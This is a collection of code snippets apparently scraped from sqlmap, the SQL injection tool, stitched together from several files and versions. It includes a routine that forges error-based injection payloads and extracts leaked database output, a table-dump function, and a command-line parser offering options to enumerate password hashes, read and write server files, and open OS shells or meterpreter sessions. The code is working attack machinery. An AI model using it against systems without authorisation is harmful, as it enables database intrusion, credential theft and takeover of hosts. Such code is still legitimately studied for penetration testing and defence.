        if hasattr(conf, "api"):
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(
            conf.dumpPath,
            re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(
                os.path.join(conf.dumpPath,
                             "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = os.path.join(
                dumpDbPath, "%s.%s" %
                (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
            appendToFile = os.path.isfile(dumpFileName) and any(
                (conf.limitStart, conf.limitStop))
            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        if conf.col:
            cols = conf.col.split(',')
            columns = sorted(columns,
                             key=lambda _: cols.index(_) if _ in cols else 0)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write(
            "Database: %s\nTable: %s" %
            (unsafeSQLIdentificatorNaming(db) if db else "Current database",
             unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column),
                                 colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
            dataToDumpFile(
                dumpFP,
                "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n"
                % UNICODE_ENCODING)
            dataToDumpFile(
                dumpFP, "<title>%s</title>\n" %
                ("%s%s" %
                 ("%s." % db if METADB_SUFFIX not in db else "", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP,
                           "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(
                            dumpFP, "<th>%s</th>" % cgi.escape(column).encode(
                                "ascii", "xmlcharrefreplace"))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank),
                                newline=False,
                                console=console)

                    if len(value
                           ) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(
                                    mimetype.startswith(_)
                                    for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath, 0755)

                                filepath = os.path.join(
                                    dumpDbPath, "%s-%d.bin" %
                                    (unsafeSQLIdentificatorNaming(column),
                                     randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (
                                    mimetype, filepath)
                                logger.warn(warnMsg)

                                with open(filepath, "wb") as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)
                        except magic.MagicException, err:
                            logger.debug(str(err))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(
                                dumpFP,
                                "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(
                            dumpFP, "<td>%s</td>" % cgi.escape(value).encode(
                                "ascii", "xmlcharrefreplace"))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tr>\n")

            self._write("|", console=console)
Beispiel #32
0
def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = "searching for error chunk length..."
        logger.debug(debugMsg)

        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)

            testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
            testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)

            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))

            if (result or "").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r"\A\w+", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current else current - 1
            else:
                current = current // 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                )

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = firstNotNone(
                        extractRegexResult(trimCheck, page),
                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                    )

                    if trimmed:
                        if not chunkTest:
                            warnMsg = "possible server trimmed output detected "
                            warnMsg += "(due to its length and/or content): "
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
                                check = r"(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not conf.api:
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, six.string_types):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Beispiel #33
0
def forgeHeaders(items=None):
    """
    Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
    the HTTP requests
    """

    items = items or {}

    for _ in items.keys():
        if items[_] is None:
            del items[_]

    headers = OrderedDict(conf.httpHeaders)
    headers.update(items.items())

    class _str(str):
        def capitalize(self):
            return _str(self)

        def title(self):
            return _str(self)

    _ = headers
    headers = OrderedDict()
    for key, value in _.items():
        success = False

        for _ in headers:
            if _.upper() == key.upper():
                del headers[_]
                break

        if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)):
            try:
                headers[_str(key)] = value  # dirty hack for http://bugs.python.org/issue12455
            except UnicodeEncodeError:      # don't do the hack on non-ASCII header names (they have to be properly encoded later on)
                pass
            else:
                success = True
        if not success:
            key = '-'.join(_.capitalize() for _ in key.split('-'))
            headers[key] = value

    if conf.cj:
        if HTTP_HEADER.COOKIE in headers:
            for cookie in conf.cj:
                if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
                    continue

                if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
                    if conf.loadCookies:
                        conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
                    elif kb.mergeCookies is None:
                        message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
                        message += "The target URL provided its own cookies within "
                        message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
                        message += "Do you want to merge them in further requests? [Y/n] "

                        kb.mergeCookies = readInput(message, default='Y', boolean=True)

                    if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
                        headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])

                        if PLACE.COOKIE in conf.parameters:
                            conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE])

                        conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]

                elif not kb.testMode:
                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))

        if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
            resetCookieJar(conf.cj)

    return headers
Beispiel #34
0
def cmdLineParser():
    """
    This function parses the command line parameters and arguments
    """

    usage = "python %s [options]" % sys.argv[0]
    parser = OptionParser(usage=usage, version=VERSION_STRING)

    try:
        parser.add_option("-v",
                          dest="verbose",
                          type="int",
                          default=1,
                          help="Verbosity level: 0-6 (default 1)")

        # Target options
        target = OptionGroup(
            parser, "Target", "At least one of these "
            "options has to be specified to set the source "
            "to get target urls from.")

        target.add_option("-d",
                          dest="direct",
                          help="Direct "
                          "connection to the database")

        target.add_option("-u", "--url", dest="url", help="Target url")

        target.add_option("-l",
                          dest="list",
                          help="Parse targets from Burp "
                          "or WebScarab proxy logs")

        target.add_option("-r",
                          dest="requestFile",
                          help="Load HTTP request from a file")

        target.add_option("-g",
                          dest="googleDork",
                          help="Process Google dork results as target urls")

        target.add_option("-c",
                          dest="configFile",
                          help="Load options from a configuration INI file")

        # Request options
        request = OptionGroup(
            parser, "Request", "These options can be used "
            "to specify how to connect to the target url.")

        request.add_option("--data",
                           dest="data",
                           help="Data string to be sent through POST")

        request.add_option("--cookie",
                           dest="cookie",
                           help="HTTP Cookie header")

        request.add_option("--cookie-urlencode",
                           dest="cookieUrlencode",
                           action="store_true",
                           default=False,
                           help="URL Encode generated cookie injections")

        request.add_option("--drop-set-cookie",
                           dest="dropSetCookie",
                           action="store_true",
                           default=False,
                           help="Ignore Set-Cookie header from response")

        request.add_option("--user-agent",
                           dest="agent",
                           help="HTTP User-Agent header")

        request.add_option("--random-agent",
                           dest="randomAgent",
                           action="store_true",
                           default=False,
                           help="Use randomly selected HTTP User-Agent header")

        request.add_option("--referer",
                           dest="referer",
                           help="HTTP Referer header")

        request.add_option("--headers",
                           dest="headers",
                           help="Extra HTTP headers newline separated")

        request.add_option("--auth-type",
                           dest="aType",
                           help="HTTP authentication type "
                           "(Basic, Digest or NTLM)")

        request.add_option("--auth-cred",
                           dest="aCred",
                           help="HTTP authentication credentials "
                           "(name:password)")

        request.add_option("--auth-cert",
                           dest="aCert",
                           help="HTTP authentication certificate ("
                           "key_file,cert_file)")

        request.add_option(
            "--proxy",
            dest="proxy",
            help="Use a HTTP proxy to connect to the target url")

        request.add_option("--proxy-cred",
                           dest="pCred",
                           help="HTTP proxy authentication credentials "
                           "(name:password)")

        request.add_option("--ignore-proxy",
                           dest="ignoreProxy",
                           action="store_true",
                           default=False,
                           help="Ignore system default HTTP proxy")

        request.add_option("--delay",
                           dest="delay",
                           type="float",
                           default=0,
                           help="Delay in seconds between each HTTP request")

        request.add_option("--timeout",
                           dest="timeout",
                           type="float",
                           default=30,
                           help="Seconds to wait before timeout connection "
                           "(default 30)")

        request.add_option("--retries",
                           dest="retries",
                           type="int",
                           default=3,
                           help="Retries when the connection timeouts "
                           "(default 3)")

        request.add_option(
            "--scope",
            dest="scope",
            help="Regexp to filter targets from provided proxy log")

        request.add_option(
            "--safe-url",
            dest="safUrl",
            help="Url address to visit frequently during testing")

        request.add_option(
            "--safe-freq",
            dest="saFreq",
            type="int",
            default=0,
            help="Test requests between two visits to a given safe url")

        # Optimization options
        optimization = OptionGroup(
            parser, "Optimization", "These "
            "options can be used to optimize the "
            "performance of sqlmap.")

        optimization.add_option("-o",
                                dest="optimize",
                                action="store_true",
                                default=False,
                                help="Turn on all optimization switches")

        optimization.add_option("--predict-output",
                                dest="predictOutput",
                                action="store_true",
                                default=False,
                                help="Predict common queries output")

        optimization.add_option("--keep-alive",
                                dest="keepAlive",
                                action="store_true",
                                default=False,
                                help="Use persistent HTTP(s) connections")

        optimization.add_option(
            "--null-connection",
            dest="nullConnection",
            action="store_true",
            default=False,
            help="Retrieve page length without actual HTTP response body")

        optimization.add_option("--threads",
                                dest="threads",
                                type="int",
                                default=1,
                                help="Max number of concurrent HTTP(s) "
                                "requests (default 1)")

        # Injection options
        injection = OptionGroup(
            parser, "Injection", "These options can be "
            "used to specify which parameters to test "
            "for, provide custom injection payloads and "
            "optional tampering scripts.")

        injection.add_option("-p",
                             dest="testParameter",
                             help="Testable parameter(s)")

        injection.add_option("--dbms",
                             dest="dbms",
                             help="Force back-end DBMS to this value")

        injection.add_option("--os",
                             dest="os",
                             help="Force back-end DBMS operating system "
                             "to this value")

        injection.add_option("--prefix",
                             dest="prefix",
                             help="Injection payload prefix string")

        injection.add_option("--suffix",
                             dest="suffix",
                             help="Injection payload suffix string")

        injection.add_option(
            "--tamper",
            dest="tamper",
            help="Use given script(s) for tampering injection data")

        # Detection options
        detection = OptionGroup(
            parser, "Detection", "These options can be "
            "used to specify how to parse "
            "and compare page content from "
            "HTTP responses when using blind SQL "
            "injection technique.")

        detection.add_option("--level",
                             dest="level",
                             default=1,
                             type="int",
                             help="Level of tests to perform (1-5, "
                             "default 1)")

        detection.add_option("--risk",
                             dest="risk",
                             default=1,
                             type="int",
                             help="Risk of tests to perform (0-3, "
                             "default 1)")

        detection.add_option("--string",
                             dest="string",
                             help="String to match in page when the "
                             "query is valid")

        detection.add_option("--regexp",
                             dest="regexp",
                             help="Regexp to match in page when the "
                             "query is valid")

        detection.add_option(
            "--text-only",
            dest="textOnly",
            action="store_true",
            default=False,
            help="Compare pages based only on the textual content")

        # Techniques options
        techniques = OptionGroup(
            parser, "Techniques", "These options can be "
            "used to tweak testing of specific SQL "
            "injection techniques.")

        techniques.add_option("--technique",
                              dest="tech",
                              default="BEUST",
                              help="SQL injection techniques to test for "
                              "(default BEUST)")

        techniques.add_option("--time-sec",
                              dest="timeSec",
                              type="int",
                              default=TIME_DEFAULT_DELAY,
                              help="Seconds to delay the DBMS response "
                              "(default 5)")

        techniques.add_option(
            "--union-cols",
            dest="uCols",
            help="Range of columns to test for UNION query SQL injection")

        techniques.add_option(
            "--union-char",
            dest="uChar",
            help="Character to use for bruteforcing number of columns")

        # Fingerprint options
        fingerprint = OptionGroup(parser, "Fingerprint")

        fingerprint.add_option(
            "-f",
            "--fingerprint",
            dest="extensiveFp",
            action="store_true",
            default=False,
            help="Perform an extensive DBMS version fingerprint")

        # Enumeration options
        enumeration = OptionGroup(
            parser, "Enumeration", "These options can "
            "be used to enumerate the back-end database "
            "management system information, structure "
            "and data contained in the tables. Moreover "
            "you can run your own SQL statements.")

        enumeration.add_option("-b",
                               "--banner",
                               dest="getBanner",
                               action="store_true",
                               default=False,
                               help="Retrieve DBMS banner")

        enumeration.add_option("--current-user",
                               dest="getCurrentUser",
                               action="store_true",
                               default=False,
                               help="Retrieve DBMS current user")

        enumeration.add_option("--current-db",
                               dest="getCurrentDb",
                               action="store_true",
                               default=False,
                               help="Retrieve DBMS current database")

        enumeration.add_option("--is-dba",
                               dest="isDba",
                               action="store_true",
                               default=False,
                               help="Detect if the DBMS current user is DBA")

        enumeration.add_option("--users",
                               dest="getUsers",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS users")

        enumeration.add_option("--passwords",
                               dest="getPasswordHashes",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS users password hashes")

        enumeration.add_option("--privileges",
                               dest="getPrivileges",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS users privileges")

        enumeration.add_option("--roles",
                               dest="getRoles",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS users roles")

        enumeration.add_option("--dbs",
                               dest="getDbs",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS databases")

        enumeration.add_option("--tables",
                               dest="getTables",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS database tables")

        enumeration.add_option("--columns",
                               dest="getColumns",
                               action="store_true",
                               default=False,
                               help="Enumerate DBMS database table columns")

        enumeration.add_option("--dump",
                               dest="dumpTable",
                               action="store_true",
                               default=False,
                               help="Dump DBMS database table entries")

        enumeration.add_option("--dump-all",
                               dest="dumpAll",
                               action="store_true",
                               default=False,
                               help="Dump all DBMS databases tables entries")

        enumeration.add_option(
            "--search",
            dest="search",
            action="store_true",
            default=False,
            help="Search column(s), table(s) and/or database name(s)")

        enumeration.add_option("-D",
                               dest="db",
                               help="DBMS database to enumerate")

        enumeration.add_option("-T",
                               dest="tbl",
                               help="DBMS database table to enumerate")

        enumeration.add_option("-C",
                               dest="col",
                               help="DBMS database table column to enumerate")

        enumeration.add_option("-U",
                               dest="user",
                               help="DBMS user to enumerate")

        enumeration.add_option("--exclude-sysdbs",
                               dest="excludeSysDbs",
                               action="store_true",
                               default=False,
                               help="Exclude DBMS system databases when "
                               "enumerating tables")

        enumeration.add_option("--start",
                               dest="limitStart",
                               type="int",
                               help="First query output entry to retrieve")

        enumeration.add_option("--stop",
                               dest="limitStop",
                               type="int",
                               help="Last query output entry to retrieve")

        enumeration.add_option(
            "--first",
            dest="firstChar",
            type="int",
            help="First query output word character to retrieve")

        enumeration.add_option(
            "--last",
            dest="lastChar",
            type="int",
            help="Last query output word character to retrieve")

        enumeration.add_option("--sql-query",
                               dest="query",
                               help="SQL statement to be executed")

        enumeration.add_option("--sql-shell",
                               dest="sqlShell",
                               action="store_true",
                               default=False,
                               help="Prompt for an interactive SQL shell")

        # User-defined function options
        brute = OptionGroup(
            parser, "Brute force", "These "
            "options can be used to run brute force "
            "checks.")

        brute.add_option("--common-tables",
                         dest="commonTables",
                         action="store_true",
                         default=False,
                         help="Check existence of common tables")

        brute.add_option("--common-columns",
                         dest="commonColumns",
                         action="store_true",
                         default=False,
                         help="Check existence of common columns")

        # User-defined function options
        udf = OptionGroup(
            parser, "User-defined function injection", "These "
            "options can be used to create custom user-defined "
            "functions.")

        udf.add_option("--udf-inject",
                       dest="udfInject",
                       action="store_true",
                       default=False,
                       help="Inject custom user-defined functions")

        udf.add_option("--shared-lib",
                       dest="shLib",
                       help="Local path of the shared library")

        # File system options
        filesystem = OptionGroup(
            parser, "File system access", "These options "
            "can be used to access the back-end database "
            "management system underlying file system.")

        filesystem.add_option("--file-read",
                              dest="rFile",
                              help="Read a file from the back-end DBMS "
                              "file system")

        filesystem.add_option("--file-write",
                              dest="wFile",
                              help="Write a local file on the back-end "
                              "DBMS file system")

        filesystem.add_option("--file-dest",
                              dest="dFile",
                              help="Back-end DBMS absolute filepath to "
                              "write to")

        # Takeover options
        takeover = OptionGroup(
            parser, "Operating system access", "These "
            "options can be used to access the back-end "
            "database management system underlying "
            "operating system.")

        takeover.add_option("--os-cmd",
                            dest="osCmd",
                            help="Execute an operating system command")

        takeover.add_option("--os-shell",
                            dest="osShell",
                            action="store_true",
                            default=False,
                            help="Prompt for an interactive operating "
                            "system shell")

        takeover.add_option("--os-pwn",
                            dest="osPwn",
                            action="store_true",
                            default=False,
                            help="Prompt for an out-of-band shell, "
                            "meterpreter or VNC")

        takeover.add_option("--os-smbrelay",
                            dest="osSmb",
                            action="store_true",
                            default=False,
                            help="One click prompt for an OOB shell, "
                            "meterpreter or VNC")

        takeover.add_option("--os-bof",
                            dest="osBof",
                            action="store_true",
                            default=False,
                            help="Stored procedure buffer overflow "
                            "exploitation")

        takeover.add_option("--priv-esc",
                            dest="privEsc",
                            action="store_true",
                            default=False,
                            help="Database process' user privilege escalation")

        takeover.add_option("--msf-path",
                            dest="msfPath",
                            help="Local path where Metasploit Framework 3 "
                            "is installed")

        takeover.add_option("--tmp-path",
                            dest="tmpPath",
                            help="Remote absolute path of temporary files "
                            "directory")

        # Windows registry options
        windows = OptionGroup(
            parser, "Windows registry access", "These "
            "options can be used to access the back-end "
            "database management system Windows "
            "registry.")

        windows.add_option("--reg-read",
                           dest="regRead",
                           action="store_true",
                           default=False,
                           help="Read a Windows registry key value")

        windows.add_option("--reg-add",
                           dest="regAdd",
                           action="store_true",
                           default=False,
                           help="Write a Windows registry key value data")

        windows.add_option("--reg-del",
                           dest="regDel",
                           action="store_true",
                           default=False,
                           help="Delete a Windows registry key value")

        windows.add_option("--reg-key",
                           dest="regKey",
                           help="Windows registry key")

        windows.add_option("--reg-value",
                           dest="regVal",
                           help="Windows registry key value")

        windows.add_option("--reg-data",
                           dest="regData",
                           help="Windows registry key value data")

        windows.add_option("--reg-type",
                           dest="regType",
                           help="Windows registry key value type")

        # General options
        general = OptionGroup(
            parser, "General", "These options can be used "
            "to set some general working parameters. ")

        #general.add_option("-x", dest="xmlFile",
        #                    help="Dump the data into an XML file")

        general.add_option("-t",
                           dest="trafficFile",
                           help="Log all HTTP traffic into a "
                           "textual file")

        general.add_option("-s",
                           dest="sessionFile",
                           help="Save and resume all data retrieved "
                           "on a session file")

        general.add_option("--flush-session",
                           dest="flushSession",
                           action="store_true",
                           default=False,
                           help="Flush session file for current target")

        general.add_option("--fresh-queries",
                           dest="freshQueries",
                           action="store_true",
                           default=False,
                           help="Ignores query results stored in session file")

        general.add_option("--eta",
                           dest="eta",
                           action="store_true",
                           default=False,
                           help="Display for each output the "
                           "estimated time of arrival")

        general.add_option("--update",
                           dest="updateAll",
                           action="store_true",
                           default=False,
                           help="Update sqlmap")

        general.add_option("--save",
                           dest="saveCmdline",
                           action="store_true",
                           default=False,
                           help="Save options on a configuration INI file")

        general.add_option(
            "--batch",
            dest="batch",
            action="store_true",
            default=False,
            help="Never ask for user input, use the default behaviour")

        # Miscellaneous options
        miscellaneous = OptionGroup(parser, "Miscellaneous")

        miscellaneous.add_option("--beep",
                                 dest="beep",
                                 action="store_true",
                                 default=False,
                                 help="Alert when sql injection found")

        miscellaneous.add_option(
            "--check-payload",
            dest="checkPayload",
            action="store_true",
            default=False,
            help="IDS detection testing of injection payloads")

        miscellaneous.add_option("--cleanup",
                                 dest="cleanup",
                                 action="store_true",
                                 default=False,
                                 help="Clean up the DBMS by sqlmap specific "
                                 "UDF and tables")

        miscellaneous.add_option("--forms",
                                 dest="forms",
                                 action="store_true",
                                 default=False,
                                 help="Parse and test forms on target url")

        miscellaneous.add_option(
            "--gpage",
            dest="googlePage",
            type="int",
            help="Use Google dork results from specified page number")

        miscellaneous.add_option(
            "--page-rank",
            dest="pageRank",
            action="store_true",
            default=False,
            help="Display page rank (PR) for Google dork results")

        miscellaneous.add_option(
            "--parse-errors",
            dest="parseErrors",
            action="store_true",
            default=False,
            help="Parse DBMS error messages from response pages")

        miscellaneous.add_option(
            "--replicate",
            dest="replicate",
            action="store_true",
            default=False,
            help="Replicate dumped data into a sqlite3 database")

        miscellaneous.add_option(
            "--tor",
            dest="tor",
            action="store_true",
            default=False,
            help="Use default Tor (Vidalia/Privoxy/Polipo) proxy address")

        miscellaneous.add_option(
            "--wizard",
            dest="wizard",
            action="store_true",
            default=False,
            help="Simple wizard interface for beginner users")

        # Hidden and/or experimental options
        parser.add_option("--profile",
                          dest="profile",
                          action="store_true",
                          default=False,
                          help=SUPPRESS_HELP)

        parser.add_option("--cpu-throttle",
                          dest="cpuThrottle",
                          type="int",
                          default=10,
                          help=SUPPRESS_HELP)

        parser.add_option("--smoke-test",
                          dest="smokeTest",
                          action="store_true",
                          default=False,
                          help=SUPPRESS_HELP)

        parser.add_option("--live-test",
                          dest="liveTest",
                          action="store_true",
                          default=False,
                          help=SUPPRESS_HELP)

        parser.add_option("--real-test",
                          dest="realTest",
                          action="store_true",
                          default=False,
                          help=SUPPRESS_HELP)

        parser.add_option("--run-case",
                          dest="runCase",
                          type="int",
                          default=None,
                          help=SUPPRESS_HELP)

        parser.add_option("--group-concat",
                          dest="groupConcat",
                          action="store_true",
                          default=False,
                          help=SUPPRESS_HELP)

        parser.add_option_group(target)
        parser.add_option_group(request)
        parser.add_option_group(optimization)
        parser.add_option_group(injection)
        parser.add_option_group(detection)
        parser.add_option_group(techniques)
        parser.add_option_group(fingerprint)
